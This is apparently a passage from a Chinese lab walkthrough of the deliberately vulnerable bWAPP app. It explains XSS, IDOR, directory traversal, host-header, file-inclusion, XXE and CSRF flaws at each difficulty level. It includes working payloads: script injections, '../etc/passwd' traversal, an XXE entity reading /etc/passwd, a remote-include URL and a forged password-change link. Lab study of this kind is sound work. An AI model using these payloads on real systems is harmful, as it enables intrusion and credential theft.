http://192.168.56.19/bWAPP/smgmt_cookies_httponly.php

low 级别:cookies 参数 top_security 的 httponly 开关(该开关要求该 cookies 变量只能被后端通过
$_COOKIES
变量访问,像如前端的 JS 脚本是无法读取的)是关闭的,即 js 可以读取其值。
image
image

该代码只是展示页面中 cookies 表格是如何实现,和难度级别无关。

medium 级别:cookies 参数 top_security 的 httponly 开关是打开的,即 js 无权读取其值。

hight 级别:cookies 参数 top_security 的 httponly 开关是打开的,且有效存活时间是 5 分钟。(注意:cookies 不会在服务端存储,当浏览器中的 cookies 过期之后,当再次在页面点击 cookies 按钮向后端发起 POST 查询请求时,此时后端是根据前端发起请求时携带的 cookies 值进行响应的。但如果存活时间还没到期,那么频繁切换该试验的难度级别,可能会产生一些意料之外的事情。)

(A2-8)Session Management - Cookies (Secure)

访问地址:
http://192.168.56.19/bWAPP/smgmt_cookies_secure.php

low 级别:cookies 变量 top_security 的 secure 开关(该开关要求该 cookies 变量必须通过 SSL 安全通道传输,即只有使用 HTTPS 访问页面时该变量才会被携带到浏览器,否则浏览器无此 cookies 变量)是关闭的,此时点击页面的 cookies 按钮通过 HTTP POST 请求是可以查看该 cookies 的。

medium 级别:cookies 变量 top_security 的 secure 开关是打开的,此时点击页面的 cookies 按钮通过 HTTP POST 请求是无法查看该 cookies 的,只有访问
https://192.168.56.19/bWAPP/smgmt_cookies_secure.php
通过 HTTPS POST 请求才可以查看该 cookies 的。
image

通过 HTTP 访问该页面
image

通过 HTTPS 访问该页面

hight 级别:同 medium 级别一样,只是 cookies 变量 top_security 的存活时间变短了而已。(存活时间由1小时缩短为5分钟的好处在于:top_security 变量很快就失效不能再使用,不会因为时间过长导致变量被滥用。即,即便已经从https转变为http了,但是因为 top_security 变量存活时间长的原因,在http页面请求下依旧会可以查看到该 top_security 变量。)

(A2-9)Session Management - Session ID in URL

访问地址:
http://192.168.56.19/bWAPP/smgmt_sessionid_url.php

low 级别:访问上述地址之后,响应返回带 sessionid 的重定向链接。此时旁人只要知道了该网站的 sessionid,那么只要自己手动添加一个 cookies 就可以以该用户的身份正常登录页面。
image

medium/hight 级别:sessionid 不会显示在URL 之中。

(A2-10)Session Management - Strong Sessions

访问地址:
http://192.168.56.19/bWAPP/smgmt_strong_sessions.php

本部分与
A2-8 Session Management - Cookies (Secure)
一样,三个级别的差别也是关于 cookies secure 开关的区别,故不再赘述。

A3 - Cross-Site Scripting (XSS 跨站脚本)

(A3-1)Cross-Site Scripting - Reflected (GET)

访问地址:
http://192.168.56.19/bWAPP/xss_get.php
image

low 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量不做处理直接拼接然后响应前端。故可以通过在输入框中注入载荷
<script>alert("5")</script>
达到 XSS 反弹效果。
image

medium 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。此时通过载荷
<script>alert(5)</script>
依旧能达到 XSS 反弹效果。

hight 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。

(A3-2)Cross-Site Scripting - Reflected (POST)

访问地址:
http://192.168.56.19/bWAPP/xss_post.php

在后端检查方式上与
A3-1 Cross-Site Scripting - Reflected (GET)
是一样的,仅仅只是表单的请求方法由 GET 方法变成了 POST 方法。

(A3-3)Cross-Site Scripting - Reflected (JSON)

访问地址:
http://192.168.56.19/bWAPP/xss_json.php
image

low 级别:后端对 GET 请求提交上来的 title 变量不做处理直接进行查询,当查询不到时会将变量直接拼接进一段 json 格式的字串,而该字串又会被赋值给一个响应返回的 js 脚本变量之中,当前端收到时 js 脚本又会对该 json 字串进行解析,然后将解析结果通过 DOM 写入到标签之中用以显示结果。此时可以通过闭合 json 以及注释多余 js 代码达到 XSS 反弹效果,闭合载荷如:
test"}]}';alert(5);//;
也可通过截断前后
<script>
标签达到 XSS 效果,闭合载荷如:
</script><script>alert(5)</script><script>
此法可能会让代码产生错误,即页面显示功能异常;
image

medium/hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。

(A3-4)Cross-Site Scripting - Reflected (AJAX/JSON)

访问地址:
http://192.168.56.19/bWAPP/xss_ajax_2-1.php(实际向后端发起请求的链接是http://192.168.56.19/bWAPP/xss_ajax_2-2.php?title=test)

low/medium 级别:当在输入框中键入字符时,输入框下方便会立马显示相关查询结果,这种效果便是利用了 AJAX 异步网络请求技术,它可以使得当前 web 页面在不刷新的情况下,通过后台 js 不断的向外发出 HTTP 请求。在当前情况下,输入框中出现的任何字符都会立马被作为 title 的值 GET 请求传递给后台(注意:不是因为输入字符才触发 HTTP 请求,而是后台循环每秒都进行 HTTP 请求),后台对收到数据不进行特殊处理,经过简单的查询判断无匹配数据之后便会直接拼接到一个 json 格式的字串中然后返回响应。收到响应的 js 函数对其进行 json 数据提取之后便通过 DOM 嵌入到了 xss_ajax_2-1.php 的页面中。此时通过常规的载荷
<script>alert(5)</script>
虽然能够被注入,但是由于当前页面 xss_ajax_2-1.php 并不会被刷新,所以即便注入了也不会产生效果,此时便需要通过其他标签进行处理,如:
<img src x onerror = alert(5)>
,该标签由于加载不存在的 x 资源时肯定会出错,而出错便会触发 onerror 执行动作;
image
image

hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。

(A3-5)Cross-Site Scripting - Reflected (AJAX/XML)

访问地址:
http://192.168.56.19/bWAPP/xss_ajax_1-1.php(实际向后端发起请求的链接是http://192.168.56.19/bWAPP/xss_ajax_1-2.php?title=test)

low 级别:基本原理与上述
A3-4 Cross-Site Scripting - Reflected (AJAX/JSON)
相差不多,区别在于响应返回的数据不再是 json 格式,而是 XML 格式,因此在注入载荷上略有区别。因为 XML 中
<>&
等字符是不能被直接存入的,因此注入前必须先进行 HTML 实体转义才行,如:需要将
img src = x onerror = alert(5)
转义为
&lt;img src = x onerror = alert(5)&gt;
才行。
image

medium 级别:后端对 GET 请求提交上来的 title 变量进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。此时载荷
&lt;img src = x onerror = alert(5)&gt;
亦生效。

hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)进行处理。此时无需转义直接输入载荷
<img src =x onerror = alert(5)>
即可产生 XSS 反弹效果,此时的 htmlspecialchars() 反倒起到了自动转义的效果,面对XML 这种正好合适。

注:后端返回
&lt;&gt;
时,js 在进行 DOM 注入时会先对字串进行转义处理为
<>
然后才嵌入 DOM 字段,嵌入之后再进行 js 或 css 加载渲染就会触发新的执行动作。

(A3-6)Cross-Site Scripting - Reflected (Back Button)

访问地址:
http://192.168.56.19/bWAPP/xss_back_button.php
image

low 级别:当访问该页面时,后端会将 GET 请求头中的 Referer 变量拼接到返回按钮的标签属性中,然后当用户点击该按钮时页面便会返回到上一页。而在 low 级别下,后端不会对请求头中的 Referer 变量进行检查。故可以通过 burpsuite 拦截请求,修改 Referer 变量为
';alert(5);'

'"><script>alert(5)</script><
闭合载荷达到 XSS 反弹注入。
image

medium 级别:后端会对 Referer 变量进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。此时以上载荷依旧可以正常使用,因为标签中的
'"
前面添加反斜杠并不影响标签的正常使用。

hight 级别: 后端会对 Referer 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。

(A3-7)Cross-Site Scripting - Reflected (Custom Header)

访问地址:
http://192.168.56.19/bWAPP/xss_custom_header.php
image

low 级别:后端从请求头中搜索 bWAPP 的键值字段,然后将其不做处理直接遍历显示到前端 HTML 中。故可以用 burpsuite 拦截请求,然后再最后一行新增
bWAPP: <script>alert(5)</script>
便完成了 XSS 注入。
image

medium 级别:后端会对变量进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。

hight 级别:后端会对变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。

(A3-8)Cross-Site Scripting - Reflected (Eval)

访问地址:
http://192.168.56.19/bWAPP/xss_eval.php?date=Date()
image

low 级别:后端对 GET 请求提交上来的 date 变量的值不做处理直接当作字串嵌入到了 js 的 eval 函数中。故可以通过替换
date()
函数为
alert(5)
便可实现 XSS 注入。

medium 级别:后端对 GET 请求提交上来的 date 变量进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。通过替换
date()
函数为
alert(5)
依旧可以实现 XSS 注入。

hight 级别:后端指定 GET 请求中的 date 变量的值只能是 Date() 字串。

(A3-9)Cross-Site Scripting - Reflected (HREF)

访问地址:
http://192.168.56.19/bWAPP/xss_href-1.php(
输入 test 提交时实际请求的链接是
http://192.168.56.19/bWAPP/xss_href-2.php?name=test&action=vote

image

low 级别:后端对 GET 请求提交上来的 name 变量不做处理直接在响应前端的 HTML 内容中的 Vote 链接中进行了拼接。故可以通过载荷
test onclick="alert(5)"
,实现 herf 超链接标签 XSS 注入反弹,注入之后点击超链接即可反弹成功。
image

medium/hight 级别:后端会对 GET 请求提交上来的 name 变量进行 urlencode() 函数(空格和特殊字符均被使用 URL 编码处理成带
%
号的字串)的处理,然后再进行超链接拼接。此时由于输入的符号
()
被转义,故拼接之后返回浏览器渲染时不会再作为 js 函数执行。

注意:后端返回的数据在前端浏览器显示时,注入中的一些变量的值浏览器可能会自动给其加上
""
双引号,因此尽量配合 burpsuite 进行语句的闭合字串注入。

(A3-10)Cross-Site Scripting - Reflected (PHP_SELF)

访问地址:
http://192.168.56.19/bWAPP/xss_php_self.php


A3-1 Cross-Site Scripting - Reflected (GET)
是一样的,故不再赘述。

(A3-11)Cross-Site Scripting - Reflected (Referer)

访问地址:
http://192.168.56.19/bWAPP/xss_referer.php


A3-6 Cross-Site Scripting - Reflected (Back Button)
是一样的,都是基于修改请求头的 Referer 参数进行的 XSS 注入,故不再赘述。

(A3-12)Cross-Site Scripting - Reflected (User-Agent)

访问地址:
http://192.168.56.19/bWAPP/xss_user_agent.php


A3-6 Cross-Site Scripting - Reflected (Back Button)
类似,都是基于修改请求头参数进行的 XSS 注入,只不过此处是对 User-Agent 参数进行的修改,故不再赘述。

(A3-13)Cross-Site Scripting - Stored (Blog)

访问地址:
http://192.168.56.19/bWAPP/xss_stored_1.php
image

low 级别:后端对表单中提交的 Entry 内容首先进行 SQL 注入检查 mysqli_real_escape_string() 函数的处理,然后再插入数据库,当显示取出时,后端对取出的数据不进行 xss 检查处理,直接输出。此时可通过
<script>alert(5)<script>
直接进行 XSS 注入。
image

medium 级别:给数据库插入数据同 low 级别一样,但是从数据库取出显示数据时,后端会对其进行 addslashes() 函数(该函数会在
" ' \
字符的前面加反斜杠)的处理。此时仍可通过载荷
<script>alert(5)<script>
直接进行 XSS 注入。

hight 级别:给数据库插入数据同 low 级别一样,但是从数据库取出显示数据时,后端会对其进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。此时无法进行 XSS 注入。

(A3-14)Cross-Site Scripting - Stored (Change Secret)

访问地址:
http://192.168.56.19/bWAPP/xss_stored_3.php
image

low 级别:前端请求的表单中还存在隐藏的 login 变量,且表单请求提交后该 login 还会被继续响应返回。而后端对 POST 提交上来的 secret 变量有着严格的检查,但对 login 不做任何检查。故可以通过修改前端表单 login 输入框的类型为 text 显示状态,然后在输入框中注入载荷
<script>alert(5)<script>
即可实现 XSS 注入。

medium/hight 级别:后端使用 token 令牌进行用户名的辨识,且返回的前端页面中无相关 XSS 注入特征(前端提交的变量,响应返回的页面也会存在该变量,这便是注入特征)。

(A3-15)Cross-Site Scripting - Stored (Cookies)

访问地址:
http://192.168.56.19/bWAPP/xss_stored_2.php
image

注:该漏洞似乎无实用价值,因为 cookies 中注入的 XSS 载荷似乎没有什么作用。

low 级别:后端对 GET 请求提交上来的 genre 变量不做处理直接将其作为 cookies 新增值返回给前端。
image

medium 级别:后端对 GET 请求提交上来的 genre 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理,然后作为 cookies 的内容返回前端。

hight 级别:后端对 GET 请求提交上来的 genre 变量在 switch 选择条件中进行指定字串的匹配,匹配到之后,用匹配的字串的内容作为值创建 cookies 。

A4 - Insecure Direct Object References(IDOR 不安全直接对象引用)

此类漏洞特征:本该仅在后端才出现并引用的变量,却参与到了与前端交互的参数之中。

(A4-1)Insecure DOR (Change Secret)

访问地址:
http://192.168.56.19/bWAPP/insecure_direct_object_ref_1.php
image

low 级别:POST 提交更改当前登录用户的新密码之后,body 部分携带的参数不仅包含密码还包含登录用户名,而后端在 sql 语句的拼接中直接使用了 body 部分携带上来的 login 参数值。故可以通过更改 login 参数的值达到更改任意用户的密码,而非仅仅只是当前用户的密码。
image

medium/hight 级别:POST 提交新密码时,还会将表单中携带的 token 值(每次重新访问该页面,后端都会重新生成 token 值并嵌入在返回的 HTML 页面中)一并提交,而后端会根据 POST 提交上来的 token 值与当前会话的 token 值进行对比,匹配通过后再进行 sql 语句的拼接,拼接中的 login 变量是通过
$login = $_SESSION["login"]
会话获得,而非 POST 请求
$login = $_REQUEST["login"]
获得。
image

(A4-2)Insecure DOR (Reset Secret)

访问地址:
http://192.168.56.19/bWAPP/insecure_direct_object_ref_3.php(点击页面按钮之后请求的链接是
http://192.168.56.19/bWAPP/xxe-2.php

image

注:该漏洞页面与
A7-9 XML External Entity Attacks (XXE)
是同一个页面,该页面不仅存在 IDOR 漏洞也存在 XXE 漏洞,故此处不再赘述。

(A4-3)Insecure DOR (Order Tickets)

访问地址:
http://192.168.56.19/bWAPP/insecure_direct_object_ref_2.php
image

low 级别:页面表单中包含隐藏的价格标签,且后端会根据 POST 携带的价格和数量变量进行运算。故可以通过修改 POST 中的 ticket_price 变量来调整官方预定的价格。
image

medium 级别:页面表单中不再包含隐藏的价格标签,但是后端依旧会优先考虑 POST 中携带 ticket_price 变量。

hight 级别:价格 ticket_price 变量直接在后端全局代码中当做常量赋值,故 POST 中携带的 ticket_price 变量不会再影响到官方预定的价格。

A5 - Security Misconfiguration(安全配置错误)

偏系统应用,且靶机环境不符合试验。

A6 - Sensitive Data Exposure(敏感数据暴露)

偏系统应用,且靶机环境不符合试验。

A7 - Missing Functional Level Access Control(缺少功能级别访问控制)

(A7-1)Directory Traversal - Directories

访问地址:
http://192.168.56.19/bWAPP/directory_traversal_2.php?directory=documents
image

low 级别:后端对 GET 请求提交的 directory 变量不做处理。故可以通过载荷
directory=../../../../etc
对 etc 目录下的文件名称进行遍历查看(但无法查看文本文件内容)。
image

medium 级别:后端对 GET 请求提交的 directory 变量进行
directory_traversal_check_2($data)
自定义函数(该函数会对
../、..\\、/..、\..、.
字串进行匹配检查)的处理。此时可以通过载荷
directory=admin
遍历 bwapp 根目录下其他目录下的文件名称。

hight 级别:后端对 GET 请求提交的 directory 变量进行
directory_traversal_check_3($user_path,$base_path="./documents")
自定义函数(该函数会对输入的路径变量首先进行 realpath() 的处理,然后再进行
$base_path
字串是否包含在
$user_path
字串之中的匹配检查)的处理。此时 directory 参数的值便只能是 documents 或 documents/subdir 这样的格式,当然如果 documents 目录确实还存在像如 subdir 这样的子目录的话。

(A7-2)Directory Traversal - Files

访问地址:
http://192.168.56.19/bWAPP/directory_traversal_1.php?page=message.txt
image

low 级别:后端对 GET 请求提交的 page 变量不做处理,直接展示其文本内容。故可以通过载荷
page=../../../../etc/passwd
的方式直接查看其文本内容。
image

medium 级别:后端对 GET 请求提交的 page 变量进行
directory_traversal_check_1($file)
自定义函数(该函数会对
../、..\\、/..、\..
字串进行匹配检查)的处理。此时可以通过载荷
page=admin/index.php
这样的方式查看 bwapp 根目录下其他目录下文本文件的内容。

hight 级别:对带入的 page 参数值进行
directory_traversal_check_3($file)
自定义函数(由于只带入了一个参数,故其效果和 medium 的效果类似)的处理。此时可以通过
page=admin/index.php
这样的方式查看 bwapp 根目录下其他目录下文本文件的内容。

(A7-3)Host Header Attack (Cache Poisoning)

访问地址:
http://192.168.56.19/bWAPP/hostheader_1.php
image

low 级别:后端直接将 HTTP 请求头中的 Host 参数作为一个变量拼接为超链接返回到响应的 html 页面中。故可以通过修改 Header 参数为
Host:www.baidu.com#
来实现篡改响应页面中的超链接指向。【若要达到代理服务器缓存毒化,则需要重复多次发起相同的毒化请求,直到代理服务器中的缓存结果被成功替换,如此则可影响大范围的访问客户端。】
image
image

medium/hight 级别:后端对于响应要返回的 HTML 中的 js、css 等资源链接使用的是相对路径的方式,而非 low 级别的绝对 URL 链接格式,因此也就不存在 Host 被攻击的风险。

(A7-4)Host Header Attack (Reset Poisoning)

访问地址:
http://192.168.56.19/bWAPP/hostheader_2.php
image

low 级别:在 web 端输入账户对应的邮箱进行重置密码时,后端会进行重置链接的拼接生成,此时后端会根据请求头 Host 参数的值作为主机变量拼接到了重置链接中,并邮件告知客户需要点击该链接进行密码的重置动作。此时可以通过篡改 Host 的值为攻击机的 http 服务器地址,那么如果用户点击邮件链接,链接中相关的 token 等重要参数便会被攻击机所获取,然后攻击机拼接正确的主机名便可以实现重置别人密码的动作。【涉及邮件发送功能,此试验无法在靶机中复现。】
image

medium/hight 级别:后端拼接重置链接时,其中的主机变量已手动指定并未从 Host 参数中去获取。

注意:并非只要是 Host 攻击就叫缓存毒化,本例的 Reset Poisoning 所要生成的链接是动态的,所以不符合缓存毒化的特征,而符合特征的则是那些类静态页面。

(A7-5)Remote & Local File Inclusion (RFI/LFI)

访问地址:
http://192.168.56.19/bWAPP/rlfi.php?language=lang_en.php&action=go
image

此类漏洞特征:平时只在代码开头出现的包含指定文件函数,出现在了局部代码之中且包含的是一个动态变量而非静态常量。

low 级别:后端对 GET 请求提交上来的 language 变量不做处理,直接
include($language)
包含。故可以通过载荷
language=http://1.1.1.1/test.php

language=../../../../etc/passwd
的方式进行远程包含或本地包含,且包含的文件后缀类型不受限制。
image

medium 级别:后端对 GET 请求提交上来的 language 变量进行 .php 后缀拼接处理后包含。此时依旧可以通过载荷
language=http://1.1.1.1/test

language=../admin/index
的方式进行远程包含或本地包含,只不过被包含的文件被限制为 php 类型。

hight 级别:后端对 GET 请求提交上来的 language 变量先进行 .php 后缀拼接处理,然后再进行白名单关键字的匹配检查,只有匹配中白名单中的 php 文件才能被包含处理。此时文件包含漏洞将不再存在。

(A7-6)Restrict Device Access

访问地址:
http://192.168.56.19/bWAPP/restrict_device_access.php
image

low/medium/hight 级别:对页面请求头中的 User-Agent 参数值进行白名单关键字 "iPhone", "iPad", "iPod", "Android" 的检查。此时可以通过 User-Agent switcher 切换器去修改 User-Agent 参数为 Android 的设备,便可以访问到被拒绝的页面。

(A7-7)Restrict Folder Access

访问地址:
http://192.168.56.19/bWAPP/restrict_folder_access.php
image

low 级别:页面所呈现的文件下载链接是
http://192.168.56.19/bWAPP/documents/bWAPP_intro.pdf
的格式。此时不管 bWAPP 是否登录,只要爆破发现
http://192.168.56.19/bWAPP/documents/
便可下载这些文件。
image
image

medium/hight 级别:页面所呈现的文件下载链接是
http://192.168.56.19/bWAPP/restrict_folder_access.php?file=documents/bWAPP_intro.pdf
的格式,点击链接时后端 php 会对带入的 file 参数进行
directory_traversal_check_3($file, $base_path = "./documents")
函数的检查,然后通过 php 文件下载代码将请求的文件内容本地读取然后传输给请求方。
image
image

此等级下无法再通过爆破发现
http://192.168.56.19/bWAPP/documents/
便能够下载这些文件,因为该页面在被请求时服务端便初始化检查并在 documents 目录下创建 .htaccess 文件(文本规则的内容是 Deny from all),使得通过
http://192.168.56.19/bWAPP/documents/
这样的访问将被拒绝。

(A7-9)XML External Entity Attacks (XXE)

访问地址:
http://192.168.56.19/bWAPP/xxe-1.php【点击按钮之后,实际请求的地址是
http://192.168.56.19/bWAPP/xxe-2.php

image

low 级别:后端直接读取 POST 请求中携带的 XML 格式的内容,然后通过
simplexml_load_string($body)
函数进行 XML 数据的加载,并将加载的数据不做处理分别读取赋值给 login、secret 变量,在经过 SQL 语句拼接之后,最后将 login 变量的值不做处理返回到 POST 响应中。此时可以通过 burpsuite 替换 POST 请求中的 XML 内容为
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file:////etc/passwd">]><reset><login>&bWAPP;</login><secret>blah</secret></reset>
(注意:标黑的这串 XML 标签格式需根据实际调用的 XML 实体变量的情况去调整,此处调用的实体变量是 login)来读取靶机系统 /etc/passwd 文件中的内容。
image
image

medium/hight 级别:后端直接读取 POST 请求中携带的 XML 格式的内容,然后通过
libxml_disable_entity_loader(true); $xml =simplexml_load_string($body)
函数进行 XML 数据的加载,然后再通过
$login = $_SESSION["login"];$secret = $xml->secret;
给两变量赋值,此时 $login 变量的值是通过 PHP 会话变量赋值的,于是返回的 POST 响应中的用户的值再也不会受到 POST 请求中提供的 login 变量的影响了。此时 XXE 注入漏洞将不再存在。
image

A8 - Cross-Site Request Forgery (CSRF 跨站请求伪造)

此类漏洞特征:一些重要的页面操作,只使用一个很简单的请求便完成了,没有使用 token 或验证码这些防滥用技术。

(A8-1)Cross-Site Request Forgery (Change Password)

访问地址:
http://192.168.56.19/bWAPP/csrf_1.php

low 级别:更改密码表单只需要将新密码和确认密码输入,然后提交即可实现密码更改动作,同时表单请求方法也是 GET 方法。此时可以让用户点击通过构造的 URL 链接
http://192.168.56.19/bWAPP/csrf_1.php?password_new=123&password_conf=123&action=change
,即可让客户在不知觉中完成密码的更改。(注意:必须要让用户在登录 web 的状态下点解构造链接,否则即便点击了也不会成功改密。这主要是为了借用用户的登录 cookies 变量,方便在请求的时候带入。)
image

medium/hight 级别:更改密码表单额外新增了当前密码输入框,后端收到请求后会首先检验当前密码是否正确,然后才进行新密码更改的动作。此时便无法再使用构造 URL 链接的方式实现用户无感知改密码的动作,除非已知晓当前密码。
image

(A8-2)Cross-Site Request Forgery (Change Secret)

访问地址:
http://192.168.56.19/bWAPP/csrf_3.php

low 级别:表单只请求输入修改密码(用户名被隐藏带入),然后提交即可,表单请求方法使用了 POST 方法。后端只是将得到的用户名和密码拼接 sql 语句上,成功执行则认为修改成功。此时可以通过修改表单用户名和密码来达到登录 A 账户修改 B 账户的效果;或通过构造一个 POST 请求的网页让用户点击即可让用户无感知改密码。
image
image

medium/hight 级别:改密表单嵌入了动态 token 值,这样的情况下后端会先验证请求 token 和会话 token 是否符合,符合之后才开始 sql 改密动作。而且这种情况下也防止了登录 A 账户可以更改 B 账户的这种情况。这种情况下也已无法通过构造简单的请求来达到用户无感知改密码的操作。
image
image

(A8-3)Cross-Site Request Forgery (Transfer Amount)

访问地址:
http://192.168.56.19/bWAPP/csrf_2.php
image
image

本部分与上面的
A8-2 Cross-Site Request Forgery (Change Secret)
相似都是关于表单有无 token 的区别(无 token 的表单,很容易就被攻击方做到恶意转账的效果),区别仅在于上面表单是 POST 方法而此处是 GET 方法,故此处不再赘述。

A9 - Using Known Vulnerable Components(使用已知漏洞组件)

偏系统应用,且靶机环境不符合试验。

A10 - Unvalidated Redirects & Forwards(无效重定向&转发)

注:此类现象似乎并不能算是一种 Web 漏洞,因为其并不能造成危害。

(A10-1)Unvalidated Redirects & Forwards (1)

访问地址:
http://192.168.56.19/bWAPP/unvalidated_redir_fwd_1.php
image

low 级别:页面表单中的下拉列表中的每个选项都直接对应其链接地址,当点击提交按钮时由于表单使用的请求方法是 GET,因此在地址栏可以直接看到 url 变量的值即是跳转的链接,而后端又会将该链接直接作为重定向地址响应给 GET 请求。
image

medium 级别:页面表单中的下拉列表中的每个选项对应一个数值,该数值作为 GET 请求传递给后端,后端根据该值查找对应的链接然后将其作为重定向地址响应给 GET 请求。

hight 级别:在 medium 级别的基础上又新增了一项会话销毁的功能,即当下拉选中提交 GET 请求之后,页面跳转的同时原会话的登录状态也将失效。

(A10-2)Unvalidated Redirects & Forwards (2)

访问地址:
http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php
image

low 级别:点击跳转按钮之后,要跳转的链接
http://192.168.56.19/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=portal.php
。此时可以通过修改前端的按钮链接 ReturnUrl 参数实现更改。
image

medium/hight 级别:点击跳转按钮之后,要跳转的链接后端已指定,此时通过修改前端的按钮链接 ReturnUrl 参数已无作用。

知识碎片

(1)URL 格式说明
image

(2)PHP 中的全局数组包括
$_GET、$_POST、$_REQUEST、$_COOKIE、$_SESSION、$_SERVER、$_FILES、$_ENV、$_GLOBALS
,它们是预定义的超级全局变量,可在脚本的任何地方使用。
$_GET

$_POST
处理通过 HTTP 请求传递的参数,
$_REQUEST
综合了 GET、POST 和 COOKIE 数据,
$_FILES
处理文件上传,
$_COOKIE
存储客户端的 Cookie,
$_SESSION
管理用户会话,
$_SERVER
提供服务器和执行环境信息,
$_ENV
访问系统环境变量,
$_GLOBALS
引用所有全局变量。这些数组为开发者提供了便利的方式来处理请求、用户数据和服务器信息。

(3)PHPSESSID 的作用:多个登录用户分别同时请求相同的 php 页面,但后端依旧能够不发生混乱的按需分配各自的页面且对应页面的变量值正确不发生混乱。就是因为后端会根据请求者 cookies 中的 PHPSESSID 取其对应的
$_SESSION
数组,而每个
$_SESSION
数组中又保存着属于各自用户的变量值。【注:该值只有后端 PHP 解析器才需要读取,对于开发者来说并不需要知道】

(4)AJAX (Asynchronous JavaScript and XML)并不是一种编程语言,而是一系列技术的组合(主要就是用 JavaScript 执行异步网络请求),包括HTML、CSS、JavaScript 和 XML,用于构建更互动的Web应用。

通常一次 HTTP 请求对应一个页面,而如果要让用户留在当前页面中,同时发出新的 HTTP 请求,就必须用 JavaScript 发送这个新请求,接收到数据后,再用 JavaScript 更新页面,这样一来,用户就感觉自己仍然停留在当前页面,但是数据却可以不断地更新,这就是 AJAX。

(5)Web 各语言语句的注释和连接符号。

JavaScript 注释:单行注释
//
、多行注释
/**/
、语句分割

HTML 注释:多行注释
<!--test-->

CSS 注释:多行注释
/**/

Mysql 注释:单行注释
--
、单行注释
#
、多行注释
/**/
、语句分割

(6)shtml 和 html 文件的区别。

html:是一种静态的 HTML 代码,这些文件 Web 服务器会直接提供给浏览器,然后由浏览器进行渲染。

shtml:是一种动态的 HTML 代码,这些文件在返回给浏览器之前,Web 服务器(apache、nginx)首先会进行解析执行,然后再响应给浏览器做渲染。它类似于是一种简化版的 php 动态语言,但是php 代码的解析需要 web 服务器依赖 php 组件,而shtml 则只需要 web 服务器本身支持服务器端包含指令 SSI 即可。